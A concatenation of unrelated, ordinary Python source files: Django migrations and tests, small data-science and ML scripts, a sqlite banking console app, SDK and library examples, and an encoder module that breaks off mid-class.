# Generated by Django 2.0.6 on 2018-07-21 00:37 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('books', '0001_initial'), ('analytics', '0001_initial'), ] operations = [ migrations.AddField( model_name='publishersalesreport', name='publisher', field=models.OneToOneField(blank=True, on_delete=django.db.models.deletion.PROTECT, to='books.Publisher'), ), migrations.AddField( model_name='lowinvreport', name='low_inventory_books', field=models.ManyToManyField(blank=True, to='books.Book'), ), ]
# Generated by Django 2.2.7 on 2019-11-26 20:38 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Business', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=200)), ('street_address', models.CharField(max_length=100)), ('city', models.CharField(max_length=50)), ('state', models.CharField(max_length=2)), ('country', models.CharField(max_length=50)), ('category', models.CharField(max_length=30)), ('checkId', models.CharField(max_length=500)), ], ), migrations.CreateModel( name='Review', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('rate', models.IntegerField()), ('description', models.CharField(max_length=1000)), ('reviewer', models.CharField(max_length=50)), ('businesses', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='list_reviews', to='MyDiary.Business')), ], ), ]
from .card_collection import CardCollection from .move_factory import get_move class PlayerMove: def __init__(self, player, move): self.player = player self.move = move def __repr__(self): return "<PM {}: {}>".format(self.player.name, self.move.cards) @staticmethod def from_string(player, string): cards = CardCollection.from_string(string) invalid_cards_for_player = set(cards) - set(player.cards) if invalid_cards_for_player: raise ValueError( "Player {} does not have {} in their hand".format( player, ",".join(map(str, invalid_cards_for_player)))) return PlayerMove(player, get_move(cards))
#!/c/Python36/python # integer numbers with minimum width print("{1:8d}".format(12,34),"{1:8d}".format(12,34)) # width doesn't work for numbers longer than padding print("{:2d}".format(1234)) # padding for float numbers print("{:8.6f}".format(12.2346)) # integer numbers with minimum width filled with zeros print("{:05d}".format(12)) # padding for float numbers filled with zeros print("{:08.3f}".format(12.2346)) # integer numbers with minimum width a=[1,11,111,1111,11111] for i in a: print("{:6d}".format(i),i) for i in a[::-1]: print("{:6d}".format(i),i)
from accesoDatos import DaoHorarioMedico class ControlDaoHorarioMedico(): def __init__( self, conexion ): self.daoHorarioMedico = DaoHorarioMedico( conexion ) #=======================> OBTENER HORARIOS DE MEDICOS POR ESPECIALIDAD def consultarHorariosMedicosPorEspecialidad( self, especialidad ): horarios_medicos = self.daoHorarioMedico.consultarHorariosMedicosPorEspecialidad( especialidad ) return horarios_medicos def cambiarEstadoHorario( self, id_horario, disponible ): cambia_estado = self.daoHorarioMedico.cambiarEstadoHorario(id_horario,disponible) return cambia_estado def insertarHorarios(self, id_medico, fecha): horaros = self.daoHorarioMedico.insertarHorarios(id_medico, fecha) return horarios
import pandas as pd import numpy as np import random from sklearn.preprocessing import OneHotEncoder from network import * from functions import * def read_monk(name, split_size=25): # read the file and import it as a pandas dataframe monk_dataset = pd.read_csv("./monks/"+name+".train", sep=' ', header=None, skipinitialspace=True) # set the last column (for monks it is the id) as the index monk_dataset.set_index(monk_dataset.shape[1]-1, inplace=True) # the first column rapresents the class [0, 1] labels = monk_dataset.pop(0) labels = labels.to_numpy()[:, np.newaxis] indexes = list(range(len(monk_dataset))) # we represent each row of the dataframe as a one hot vector monk_dataset = OneHotEncoder().fit_transform(monk_dataset).toarray().astype(np.float32) monk = [] for x, y in zip(monk_dataset, labels): monk.append((x, y)) random.shuffle(monk) # split into training and development set n = int( (split_size* len(monk_dataset))/100) train = monk[n:] val = monk[:n] #we do the same for the test but without splitting it monk_dataset = pd.read_csv("./monks/"+name+".test", sep=' ', header=None, skipinitialspace=True) monk_dataset.set_index(monk_dataset.shape[1]-1, inplace=True) monk_dataset = monk_dataset.sample(frac=1) labels = monk_dataset.pop(0) labels = labels.to_numpy()[:, np.newaxis] indexes = list(range(len(monk_dataset))) monk_dataset = OneHotEncoder().fit_transform(monk_dataset).toarray().astype(np.float32) test = [] for x, y in zip(monk_dataset, labels): test.append((x, y)) random.shuffle(test) return train, val, test def read_cup(split_test_size=25, split_val_size=25): # read the file and import it as a pandas dataframe id_inputs = pd.read_csv("./dataset/ML-CUP20-TR.csv", sep=',', header=None, index_col=False, skiprows=7, skipinitialspace=True, usecols=range(1, 11)) target = pd.read_csv("./dataset/ML-CUP20-TR.csv", sep=',', header=None, index_col=False, skiprows=7, skipinitialspace=True, usecols=range(11, 13)) id_inputs = id_inputs.to_numpy() target = target.to_numpy() train = [] val = [] test = [] for x, y in zip(id_inputs, target): train.append((x, y)) random.shuffle(train) # split into training and internal test set #if(split_test): k = int((split_test_size * len(train))/100) test = train[:k] train = train[k:] # split into training and validation set #if(split_val): n = int( (split_val_size * len(train))/100) val = train[:n] train = train[n:] return train, val, test def read_TS_cup(): blind_test = pd.read_csv("./dataset/ML-CUP20-TS.csv", sep=',', skipinitialspace=True, skiprows=7, header=None, usecols=range(1, 11)) blind_test = blind_test.to_numpy() return blind_test # ---------- Reading the training set ---------- name_file = 'cup' ##CAMBIARE QUESTO PER PROVARE SU ALTRI DATI #training, validation, test = read_monk(name_file, split_size= 0) training, validation, test = read_cup(split_test_size = 20, split_val_size = 0) blind_test = read_TS_cup() print(len(blind_test)) print(len(blind_test[0]))
#함수 정의 def dummy(): pass def my_function(): print('Hello World') def times(a, b): return a * b def none(): return dummy() my_function() print(times(10, 10)) print(none()) t=times print(t(100, 100))
""" Enter your Description of your Contract here """ display_name = 'Enter Contract Display Name Here' api = '3.0.0' # This is a V3 Smart Contract version = '0.0.1' # Use semantic versioning, this is explained in the overview document summary = 'Enter one line summary of contract here' tside = Tside.LIABILITY parameters = [ Parameter( name='denomination', shape=DenominationShape, level=Level.TEMPLATE, description='Default denomination.', display_name='Default denomination for the contract.', ), Parameter( name='overdraft_limit', shape=NumberShape( kind=NumberKind.MONEY, min_value=0, max_value=10000, step=0.01 ), level=Level.TEMPLATE, description='Overdraft limit', display_name='Maximum overdraft permitted for this account', ), Parameter( name='overdraft_fee', shape=NumberShape( kind=NumberKind.MONEY, min_value=0, max_value=1, step=0.01 ), level=Level.TEMPLATE, description='Overdraft fee', display_name='Fee charged on balances over overdraft limit', ), ] internal_account = '1' @requires(parameters=True) def pre_posting_code(postings, effective_date): denomination = vault.get_parameter_timeseries(name='denomination').latest() if any(post.denomination != denomination for post in postings): raise Rejected( 'Cannot make transactions in given denomination; ' 'transactions must be in {}'.format(denomination), reason_code=RejectedReason.WRONG_DENOMINATION, ) @requires(parameters=True, balances='latest') def post_posting_code(postings, effective_date): denomination = vault.get_parameter_timeseries(name='denomination').latest() overdraft_limit = vault.get_parameter_timeseries(name='overdraft_limit').latest() balances = vault.get_balance_timeseries().latest() committed_balance = balances[(DEFAULT_ADDRESS, DEFAULT_ASSET, denomination, Phase.COMMITTED)].net # We ignore authorised (PENDING_OUT) transactions and only look at settled ones (COMMITTED) if committed_balance <= -overdraft_limit: # Charge the fee _charge_overdraft_fee(vault, effective_date + timedelta(minutes=1)) committed_balance = balances[(DEFAULT_ADDRESS, DEFAULT_ASSET, denomination, Phase.COMMITTED)].net def _charge_overdraft_fee(vault, effective_date): denomination = vault.get_parameter_timeseries(name='denomination').latest() overdraft_fee = vault.get_parameter_timeseries(name='overdraft_fee').latest() instructions = vault.make_internal_transfer_instructions( amount=overdraft_fee, denomination=denomination, from_account_id=vault.account_id, from_account_address=DEFAULT_ADDRESS, to_account_id=internal_account, to_account_address=DEFAULT_ADDRESS, asset=DEFAULT_ASSET, client_transaction_id='{}_OVERDRAFT_FEE'.format( vault.get_hook_execution_id() ), instruction_details={ 'description': 'Overdraft fee charged' }, pics=[] ) vault.instruct_posting_batch( posting_instructions=instructions, effective_date=effective_date, client_batch_id='BATCH_{}_OVERDRAFT_FEE'.format( vault.get_hook_execution_id() ) )
import sqlite3 def create_connection(db_file): conn = None try: conn = sqlite3.connect(db_file) except Error as e: print(e) return conn def accexist(accno,c): c.execute("""select accno from customer where accno=:accno""",{'accno':accno}) li=c.fetchone() if li: return True else: return False def option1(): with conn: c=conn.cursor() accno=None fname=None lname=None bal=None try: accno=int(input('enter accno:')) fname=input('enter fname:') lname=input('enter lname:') bal=int(input('enter first time deposit:')) except: print("<<<please entet valid details>>>") return if not accexist(accno,c): c.execute("""Insert into customer values(:accno,:fname,:lname,:bal)""", {'accno':accno,'fname':fname,'lname':lname,'bal':bal}) conn.commit() print("<<<transcation successful>>>") else: print("<<<accno is taken please enter another unique accno>>>") def option2(): with conn: c=conn.cursor() accno=None try: accno=int(input('enter accno:')) dep=int(input('enter deposit amount:')) if dep<0: print("please enter positive deposit") return except: print("<<<please enter valid details>>>") return c.execute("""select bal from customer where accno=:accno""",{'accno':accno}) li=c.fetchall() if len(li)==0: print("<<<accno not found please enter a valid accno>>>") else: c.execute("""update customer set bal=:bal where accno=:accno""", {'bal':li[0][0]+dep,'accno':accno}) conn.commit() print("<<<transcation successful>>>") def option3(): with conn: c=conn.cursor() accno=None try: accno=int(input('enter accno:')) wit=int(input('enter withdrawl amount:')) if wit<0: print("<<<please enter positive withdraw>>>") return except: print("<<<please enter valid details>>>") return c.execute("""select bal from customer where accno=:accno""",{'accno':accno}) li=c.fetchall() if li[0][0]<wit: print("<<<you don't have sufficient balance>>>") print("<<<your balance is:",li[0][0],">>>") return if len(li)==0: print("<<<accno not found please enter a valid accno>>>") else: c.execute("""update customer set bal=:bal where accno=:accno""", {'bal':li[0][0]-wit,'accno':accno}) conn.commit() print("<<<transcation successful>>>") def option4(): with conn: c=conn.cursor() try: accno=int(input('enter your accno:')) except: print("<<<please enter a valid accno>>>") c.execute("select bal from customer where accno=:accno", {'accno':accno}) li=c.fetchall() if len(li)==0: print('<<<please enter a valid accno>>>') else: print("the accno balance is:",li[0][0]) print("<<<transcation successful>>>") def option5(): with conn: c=conn.cursor() c.execute("select * from customer") li=c.fetchall() print("accno fname lname balance") for x in li: print(x) print("<<<transcation successful>>>") def option6(): with conn: c=conn.cursor() accno=None try: accno=int(input('enter your accno to be deleted:')) except: print("<<<please enter a valid accno>>>") if accexist(accno,c): c.execute("""Delete from customer where accno=:accno""", {'accno':accno}) conn.commit() print("<<<account deleted>>>") else: print("<<<account could not be found>>>") def option7(): with conn: c=conn.cursor() accno=None fname=None lname=None bal=None try: accno=int(input('enter your accno:')) fname=input('enter fname for update:') lname=input('enter lname for update:') bal=int(input('enter new balance:')) except: print("<<<please enter a valid accno>>>") if not accexist(accno,c): print("<<<accno does not exist>>>") else: c.execute("""select * from customer where accno=:accno""",{'accno':accno}) li=c.fetchone() c.execute("""update customer set fname=:fname,lname=:lname,bal=:bal where accno=:accno""", {'fname':fname,'lname':lname,'bal':bal,'accno':accno}) conn.commit() print("<<<account details updated from",li,"to",fname," ",lname," ",bal,">>>") print("transaciton completed") def main(): print("WELCOME TO BANK") while True: print("press an number") print("NEW ACCOUNT-1") print("DEPOSIT AMOUNT-2") print("WITHDRAW AMOUNT-3") print("BALANCE ENQUIRY-4") print("ALL ACCOUNT HOLDER LIST-5") print("CLOSE AN ACCOUNT-6") print("MODIFY AN ACCOUNT-7") print("EXIT-8") option=None try: option=int(input()) except: print("--------------please enter a valid option------------") if option>8: print("--------------please enter a valid option------------") continue elif option==1: option1() elif option==2: option2() elif option==3: option3() elif option==4: option4() elif option==5: option5() elif option==6: option6() elif option==7: option7() else: break if __name__=='__main__': #used for first time creation of database and table ''' conn=create_connection('Customer.db') c=conn.cursor() c.execute("create table customer (accno integer,fname text,lname text,bal integer)") conn.commit() conn.close() ''' conn=create_connection('Customer.db') main() #to show all the data in tables ''' with conn: c=conn.cursor() c.execute("select * from customer") print(c.fetchall()) '''
from pymongo import MongoClient client = MongoClient("mongodb://192.168.99.100:27017") db = client["test"] #result = db.notes.insert_one( { "title": "1st" } ) #db.notes.delete_many({}) for x in db.notes.find(): print x print db.notes.count()
# -*- coding: utf-8 -*- ''' Batch Transfers 批量企业付款接口使用参考 具体使用请参考 (https://www.pingxx.com/api#更新批量企业付款(银行卡)-batch-transfer-对象) ''' import pingpp import os # api_key 获取方式:登录 [Dashboard](https://dashboard.pingxx.com)->点击管理平台右上角公司名称->开发信息-> Secret Key pingpp.api_key = 'sk_test_ibbTe5jLGCi5rzfH4OqPW9KC' # app_id 获取方式:登录 [Dashboard](https://dashboard.pingxx.com)->点击你创建的应用->应用首页->应用 ID(App ID) app_id = 'app_1Gqj58ynP0mHeX1q' # 设置 API Key pingpp.private_key_path = os.path.join( os.path.dirname(os.getcwd()), 'your_rsa_private_key.pem') ''' 批量转账-取消批量转账 ''' try: # 查询指定批量批量转账 id 信息 bt_single = pingpp.BatchTransfer.cancel('1801705021142571279') print('>> batch transfer single %s' % bt_single) except Exception as e: print(e.http_body)
TOKEN = "String" CLIENT_ID = 123456789 CLIENT_SECRET = "String" PANIC_WEBHOOK = "https://discordapp.com/api/webhooks/12455/TOK.E.N" class SQL_Login(object): user = "string" host = "string" passwd = "string"
import math input = open("input.txt").read().split("\n") collection = input waypoint = (10, 1) ship = (0, 0) d = 0 x = 0 y = 0 for i, item in enumerate(collection): angle = math.radians(int(item[1:])) if (item[0] == 'L'): nx = waypoint[0] * math.cos(angle) - waypoint[1] * math.sin(angle) ny = waypoint[0] * math.sin(angle) + waypoint[1] * math.cos(angle) waypoint = (round(nx), round(ny)) if (item[0] == 'R'): nx = waypoint[0] * math.cos(-angle) - waypoint[1] * math.sin(-angle) ny = waypoint[0] * math.sin(-angle) + waypoint[1] * math.cos(-angle) waypoint = (round(nx), round(ny)) amount = int(item[1:]) if (item[0] == 'N'): wx = waypoint[0] wy = waypoint[1] waypoint = (wx, wy + amount) if (item[0] == 'S'): wx = waypoint[0] wy = waypoint[1] waypoint = (wx, wy - amount) if (item[0] == 'E'): wx = waypoint[0] wy = waypoint[1] waypoint = (wx + amount, wy) if (item[0] == 'W'): wx = waypoint[0] wy = waypoint[1] waypoint = (wx - amount, wy) if (item[0] == 'F'): shipx = ship[0] + waypoint[0] * amount shipy = ship[1] + waypoint[1] * amount ship = (shipx, shipy) # print(item) # print(ship, waypoint) # print(ship[0], ship[1]) print(abs(ship[0]) + abs(ship[1]))
import unittest from pymap.listtree import ListEntry, ListTree class TestListEntry(unittest.TestCase): def test_attributes(self) -> None: self.assertEqual([b'HasNoChildren'], ListEntry('', True, None, False).attributes) self.assertEqual([b'HasChildren'], ListEntry('', True, None, True).attributes) self.assertEqual([b'Noselect', b'HasChildren'], ListEntry('', False, None, True).attributes) self.assertEqual([b'HasNoChildren', b'Marked'], ListEntry('', True, True, False).attributes) self.assertEqual([b'HasNoChildren', b'Unmarked'], ListEntry('', True, False, False).attributes) class TestListTree(unittest.TestCase): def setUp(self) -> None: tree = ListTree('/') tree.update('INBOX', 'Sent', 'Trash', 'Important/One', 'Important/Two/Three', 'To Do', 'To Do/Quickly') tree.set_marked('To Do', marked=True) tree.set_marked('To Do/Quickly', unmarked=True) self.tree = tree def test_list(self) -> None: self.assertEqual([ListEntry('INBOX', True, None, False), ListEntry('Sent', True, None, False), ListEntry('Trash', True, None, False), ListEntry('Important', False, None, True), ListEntry('Important/One', True, None, False), ListEntry('Important/Two', False, None, True), ListEntry('Important/Two/Three', True, None, False), ListEntry('To Do', True, True, True), ListEntry('To Do/Quickly', True, False, False)], list(self.tree.list())) def test_list_matching(self) -> None: self.assertEqual([ListEntry('Important', False, None, True), ListEntry('Important/One', True, None, False), ListEntry('Important/Two', False, None, True), ListEntry('Important/Two/Three', True, None, False)], list(self.tree.list_matching('Important', '*'))) self.assertEqual([ListEntry('Important/One', True, None, False), ListEntry('Important/Two', False, None, True)], list(self.tree.list_matching('Important/', '%'))) self.assertEqual([ListEntry('INBOX', True, None, False)], list(self.tree.list_matching('inbox', ''))) def test_get_renames(self) -> None: self.assertEqual([], self.tree.get_renames('Missing', 'Test')) self.assertEqual([('Important/One', 'Trivial/One'), ('Important/Two/Three', 'Trivial/Two/Three')], self.tree.get_renames('Important', 'Trivial')) self.assertEqual([('Important/Two/Three', 'Trivial/Two/Three')], self.tree.get_renames('Important/Two', 'Trivial/Two'))
import os import numpy as np import keras.backend as K from keras.preprocessing.image import Iterator, load_img, img_to_array, array_to_img class FileIterator(Iterator): """Iterator capable of reading two map type images at once from a list of filenames (e.g. satellite and roadmap types). The arrays returned by this iterator have six channels (i.e. three RGB channels per map type). # Arguments files: List of filenames (full paths). image_data_generator: Instance of `ImageDataGenerator` to use for random transformations and normalization. target_size: tuple of integers, dimensions to resize input images to. class_mode: Mode for yielding the targets: `"binary"`: binary targets (if there are only two classes), `None`: no targets get yielded (only input images are yielded). tags: A tuple of two tuples, each containing 1) a keyword for distingushing filenames of the two different map types, and 2) file extensions for images of these different map types. batch_size: Integer, size of a batch. shuffle: Boolean, whether to shuffle the data between epochs. seed: Random seed for data shuffling. data_format: String, one of `channels_first`, `channels_last`. save_to_dir: Optional directory where to save the pictures being yielded, in a viewable format. This is useful for visualizing the random transformations being applied, for debugging purposes. save_prefix: String prefix to use for saving sample images (if `save_to_dir` is set). save_format: Format to use for saving sample images (if `save_to_dir` is set). subset: Subset of data (`"training"` or `"validation"`) if validation_split is set in ImageDataGenerator. interpolation: Interpolation method used to resample the image if the target size is different from that of the loaded image. Supported methods are "nearest", "bilinear", and "bicubic". """ def __init__(self, files, image_data_generator, target_size=(256, 256), class_mode='binary', tags=(('satellite', 'jpg'), ('roadmap', 'png')), batch_size=32, shuffle=True, seed=None, data_format=None, save_to_dir=None, save_prefix='', save_format='png', subset=None, interpolation='nearest'): if data_format is None: data_format = K.image_data_format() self.filenames = files self.image_data_generator = image_data_generator self.target_size = tuple(target_size) if len(tags) != 2: raise ValueError('Invalid tags:', tags, '; expected tuple of two tuples.') if len(tags[0]) != 2 or len(tags[1]) != 2: raise ValueError('Invalid tags:', tags, '; expected tuples of two strings.') self.tags = tags self.data_format = data_format if self.data_format == 'channels_last': self.image_shape = self.target_size + (6,) else: self.image_shape = (6,) + self.target_size if class_mode not in {'binary', None}: raise ValueError('Invalid class_mode:', class_mode, '; expected one of "binary" or None.') self.class_mode = class_mode self.save_to_dir = save_to_dir self.save_prefix = save_prefix self.save_format = save_format self.interpolation = interpolation if subset is not None: validation_split = self.image_data_generator._validation_split if subset == 'validation': split = (0, validation_split) elif subset == 'training': split = (validation_split, 1) else: raise ValueError('Invalid subset name: ', subset, '; expected "training" or "validation"') else: split = None self.subset = subset # First, count the number of samples and classes. self.samples = 0 classes = set() for f in self.filenames: classes.add(os.path.split(os.path.split(f)[0])[-1]) classes = sorted(list(classes)) self.num_classes = len(classes) self.class_indices = dict(zip(classes, range(len(classes)))) print(self.class_indices) num_files = len(self.filenames) if split: start, stop = int(split[0] * num_files), int(split[1] * num_files) else: start, stop = 0, num_files self.samples = stop - start print('Found %d images belonging to %d classes.' % (self.samples, self.num_classes)) # Second, build an index of the images # in the different class subfolders. self.classes = np.zeros((self.samples,), dtype='int32') for i, f in enumerate(self.filenames[start:stop]): self.classes[i] = self.class_indices[os.path.split(os.path.split(f)[0])[-1]] super(FileIterator, self).__init__(self.samples, batch_size, shuffle, seed) def _get_batches_of_transformed_samples(self, index_array): batch_x = np.zeros( (len(index_array),) + self.image_shape, dtype=K.floatx()) # build batch of image data for i, j in enumerate(index_array): fname = self.filenames[j] fname2 = fname.replace(self.tags[0][0], self.tags[1][0]) fname2 = os.path.splitext(fname2)[0] + '.' + self.tags[1][1] img1 = load_img(fname, grayscale=False, target_size=self.target_size, interpolation=self.interpolation) x1 = img_to_array(img1, data_format=self.data_format) img2 = load_img(fname2, grayscale=False, target_size=self.target_size, interpolation=self.interpolation) x2 = img_to_array(img2, data_format=self.data_format) concat_axis = -1 if self.data_format == 'channels_last' else 0 x = np.concatenate([x1, x2], axis=concat_axis) x = self.image_data_generator.random_transform(x) x = self.image_data_generator.standardize(x) batch_x[i] = x # optionally save augmented images to disk for debugging purposes if self.save_to_dir: for i, j in enumerate(index_array): x1 = batch_x[i,:,:,0:3] if self.data_format == 'channels_last' else batch_x[i,0:3,:,:] img = array_to_img(x1, self.data_format, scale=True) fname = '{prefix}_{index}_{hash}.{format}'.format( prefix=self.save_prefix, index=j, hash=np.random.randint(1e7), format=self.save_format) img.save(os.path.join(self.save_to_dir, fname)) # build batch of labels if self.class_mode == 'binary': batch_y = self.classes[index_array].astype(K.floatx()) return batch_x, batch_y else: return batch_x def next(self): """For python 2.x. # Returns The next batch. """ with self.lock: index_array = next(self.index_generator) # The transformation of images is not under thread lock # so it can be done in parallel return self._get_batches_of_transformed_samples(index_array)
#requests 库比urllib库要方便 """ import requests response = requests.get('https://www.baidu.com') print(type(response)) print(response.status_code) print(type(response.text)) print(response.cookies) """ """ #request 的各种请求方式 import requests requests.post('http://httpbin.org/post') requests.put('http://httpbin.org/put') requests.delete('http://httpbin.org/delete') requests.head('http://httpbin.org/get') requests.options('http://httpbin.org/get') """ """ import requests #基本get请求 response = requests.get('http://httpbin.org/get') print(response.text) """ """ #带参数的get请求 import requests #response = requests.get('http://httpbin.org/get?name=germey&age=22') data = { 'name':'germy', 'age' : '22' } response = requests.get('http://httpbin.org/get',params=data) print(response.text) """ """ #json解析 import requests import json response = requests.get('http://httpbin.org/get') print(type(response.text)) print(response.json()) print(json.loads(response.text)) print(type(response.json())) """ """ #解析二进制文件 (图片 视频等) import requests response = requests.get('https://github.com/favicon.ico') print(type(response.text),type(response.content)) print(response.text) print(response.content) with open('favicon.ico','wb')as f: f.write(response.content) f.close() """ """ #添加headers,访问有些网站的时候,如果没有加headers,会被拒绝访问 import requests #对比下面这个例子 response = requests.get('https://www.zhihu.com/explore') print(response.content) """ """ import requests headers = { 'User-Agent': 'Mozilla/5.0(Machinetosh;Intel Mac OS X 10_11_4) AppleWebKit/537.36(KHTML,like Gecko) Chrome /52.0.2743.116 Safari/537.36' } response = requests.get('https://www.zhihu.com/explore',headers = headers) print(response.text) """ """ #基本的post请求 import requests data = {'name':'germey','age':'22'} headers = { 'User-Agent': 'Mozilla/5.0(Machinetosh;Intel Mac OS X 10_11_4) AppleWebKit/537.36(Kit/537.36(KHTML,like Gecko) Chrome /52.0.2743.116 Safari/537.36' } response = requests.post('http://httpbin.org/post',data= data,headers= headers) print(response.json()) """ """ #响应 import requests #注意一下 requests的get方法在api文档里搜不到 response = requests.get('http://www.jianshu.com') #print(response.status_code,response.content,response.cookies,response.url) exit() if not response.status_code == 200 else print('Request Successfully') #能够将回复的结果直接输出,比较方便 """ """ #状态码 import requests response = requests.get('http://www.baidu.com') # exit() if not response.status_code == 200 else print('request successfully') exit() if not response.status_code == requests.codes.ok else print('request successfully') """ """ #文件上传 import requests files = {'file' : open('favicon.ico','rb')} response = requests.post('http://httpbin.org/post',files = files) print(response.text) """
from django.test import TestCase from django.urls import resolve from lists.views import home_page from django.http import HttpRequest, response from django.template.loader import render_to_string from lists.views import home_page from lists.models import Item class HomePageTest(TestCase): def test_uses_home_template(self): response = self.client.get('/') self.assertTemplateUsed(response,'home.html') def test_can_save_a_POST_request(self): self.client.post('/',data={'item_text': 'A new list item'}) self.assertEqual(Item.objects.count(),1) new_item=Item.objects.first() self.assertEqual(new_item.text,'A new list item') def test_redirects_after_POST(self): response = self.client.post('/',data={'item_text': 'A new list item'}) self.assertEqual(response.status_code,302) self.assertEqual(response['location'],'/') def test_only_saves_items_when_necessary(self): self.client.get('/') self.assertEqual(Item.objects.count(),0) def test_displacys_all_list_items(self): Item.objects.create(text='itemey 1') Item.objects.create(text='itemey 2') response=self.client.get('/') self.assertIn('itemey 1',response.content.decode()) self.assertIn('itemey 2',response.content.decode()) class ItemModelTest(TestCase): def test_saving_and_retrieving_items(self): first_item =Item() first_item.text='The first (ever) list item ' first_item.save() second_item=Item() second_item.text='Item the second' second_item.save() saved_items =Item.objects.all() self.assertEqual(saved_items.count(),2) first_saved_item =saved_items[0] second_saved_item=saved_items[1] self.assertEqual(first_saved_item.text,'The first (ever) list item ') self.assertEqual(second_saved_item.text,'Item the second')
from common import options as opts import torch from torch.autograd import Variable import numpy as np import frequency_filtering as ff import matplotlib.pyplot as plt from scipy.fftpack import rfft, irfft, rfftfreq from scipy.signal import butter, filtfilt, freqz import numpy as np lin_gt = torch.nn.Linear(5, 1) lin = torch.nn.Linear(5, 1) criterion = torch.nn.MSELoss() params = dict(lin.named_parameters()) active = False cutoff = 0.4 lr = 1e-2 # filt = ff.FrequencyFilter(active=active, cutoff=cutoff) optimizer = torch.optim.SGD(lin.parameters(), lr=lr) all_params = opts.Options() for i in range(500): # if i % 200 == 0: # cutoff = cutoff / 2 # print "cutoff = ", cutoff # zero gradients optimizer.zero_grad() # create training data x = torch.randn((10, 5)) + torch.randn(1) pred = lin(x) y = lin_gt(x).detach() # y = y + torch.randn_like(y) * 0.01 loss = criterion(pred, y) # collect current gradients loss.backward() # filt.step({ # "loss": loss.data.clone().cpu().numpy().astype(np.float32), # }) # # collect filtered gradients # filt_grad = filt.step({k: p.grad.data.clone().cpu().numpy().astype(np.float32) for k, p in params.iteritems()}) all_params *= { "loss": loss.data.clone().cpu().numpy().astype(np.float32).tolist(), } all_params *= {k: np.squeeze(p.grad.data.clone().cpu().numpy().astype(np.float32)).tolist() for k, p in params.iteritems()} if active: filt_params = all_params.map(lambda x: ff.butter_apply_filter(x, cutoff, 1.0, btype='low')) else: filt_params = all_params if active: optimizer.zero_grad() # store filter gradients for k, p in params.iteritems(): if p.grad is not None: g = Variable(torch.FloatTensor( np.array(filt_params[k][-1], dtype=np.float32).reshape(tuple(p.grad.shape),))) p.grad += g # p.data.add_(-lr, g) optimizer.step() print i, loss.detach().cpu().numpy() gt_params = opts.Options(dict(lin_gt.named_parameters())) pred_params = opts.Options(dict(lin.named_parameters())) print "\nGT\n", gt_params print "\nPRED\n", pred_params print "\nERR\n", pred_params.apply(lambda k, v: torch.abs(v - gt_params.retrieve(k))) # filt.plot() for k, v in all_params.iteritems(): v = v filt_v = filt_params[k] plt.figure() plt.plot(v, label="v") plt.plot(filt_v, label="filt_v") plt.legend(loc='best') plt.grid() plt.title(k)
#!/usr/bin/env python3 import numpy as np import matplotlib.pyplot as plt def solve_abc(a, b, c): D = b**2-4*a*c s1 = (-b+np.sqrt(D))/(2*a) s2 = (-b-np.sqrt(D))/(2*a) print("1th solution (+): ", str(s1)) print("2th solution (-): ", str(s2)) def solve_ab(a, b): print("solution: ", str(-b/a)) r_binding = 0.0000001 l_L = 0#500*50 r_c = 0.005 rng = 0.5 ld_L = 0.01 x_limit = 2.0e3#2.0e7 y_limit = 0.2e2#0.2e6 x = np.linspace(-x_limit, x_limit, 100) y1 = 0.5*r_binding*-ld_L*x**2 + (r_binding*l_L+r_c)*x+np.log(rng) y2 = 0.5*r_binding*ld_L*x**2 + (r_binding*l_L+r_c)*x+np.log(rng) y3 = r_c*x+np.log(rng) y4 = 0*x plt.xlim(-x_limit, x_limit) plt.ylim(-y_limit, y_limit) plt.plot(x, y4, '-', color="gray") plt.axvline(0, -y_limit, y_limit, color="gray") plt.plot(x, y1, '-r', label="r_b > 0, a > 0") plt.plot(x, y2, '-b', label="r_b > 0, a < 0") plt.plot(x, y3, '-g', label="r_b = 0, a = 0") plt.legend(loc='best') plt.show() solve_abc(0.5*r_binding*-ld_L, (r_binding*l_L+r_c), np.log(rng)) solve_ab(r_c, np.log(rng)) solve_abc(0.5*r_binding*ld_L, (r_binding*l_L+r_c), np.log(rng)) T_STEP = 1 N_MICROTUBULES = 1000 R_CATASTROPHE = 0.005 R_RESCUE = 0.0068 R_UNBIND = 0.1 V_GROW = 0.08 V_SHRINK = 0.16 P_RIGHT = 0.5 l_bar = 1/((R_CATASTROPHE/V_GROW)-(R_RESCUE/V_SHRINK)) # print(l_bar) # R_CATASTROPHE = l_bar**-1*V_GROW # print(R_CATASTROPHE) # R_RESCUE = 0 # l_bar = ((R_CATASTROPHE/V_GROW)-(R_RESCUE/V_SHRINK))**-1 # print(l_bar)
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Fri Mar 26 20:28:13 2021 @author: hasan """ import torch import torch.nn as nn import torch.nn.functional as F from timm.models.resnet import resnet34,resnet50,resnext50_32x4d,resnet18 from timm.models.efficientnet import efficientnet_b0,efficientnet_b1,efficientnet_b2,efficientnet_b3 from timm.models.regnet import regnetx_002,regnetx_004,regnetx_006,regnetx_008,regnetx_016,regnety_002,regnety_004,regnety_006,regnety_008,regnety_016 from timm.models.rexnet import rexnet_100,rexnet_130,rexnet_150,rexnet_200 resnets = {'resnet18':resnet18,'resnet34':resnet34,'resnet50':resnet50,'resnext50':resnext50_32x4d} effnets = {'efficientnet_b0':efficientnet_b0,'efficientnet_b1':efficientnet_b1,'efficientnet_b2':efficientnet_b2,'efficientnet_b3':efficientnet_b3} regnets = {'regnetx_002':regnetx_002, 'regnetx_004':regnetx_004, 'regnetx_008':regnetx_008,'regnetx_006':regnetx_006, 'regnetx_016':regnetx_016, 'regnety_002':regnety_002, 'regnety_004':regnety_004,'regnety_006':regnety_006,'regnety_008':regnety_008,'regnety_016':regnety_016} rexnets = {'rexnet_100':rexnet_100,'rexnet_130':rexnet_130,'rexnet_150':rexnet_150,'rexnet_200':rexnet_200} class ResNetEncoder(nn.Module): def __init__(self,name='resnet34',pretrained = True): super().__init__() assert name in resnets.keys(), '{} is not valid for a resnet name'.format(name) self.model = resnets[name](pretrained = pretrained) self.out_channels = self.model.fc.in_features del self.model.global_pool del self.model.fc def forward(self,x): out = self.model.forward_features(x) return out class EfficientNetEncoder(nn.Module): def __init__(self,name='efficientnet_b0',pretrained = True): super().__init__() assert name in effnets.keys(), '{} is not valid for a efficientnet name'.format(name) 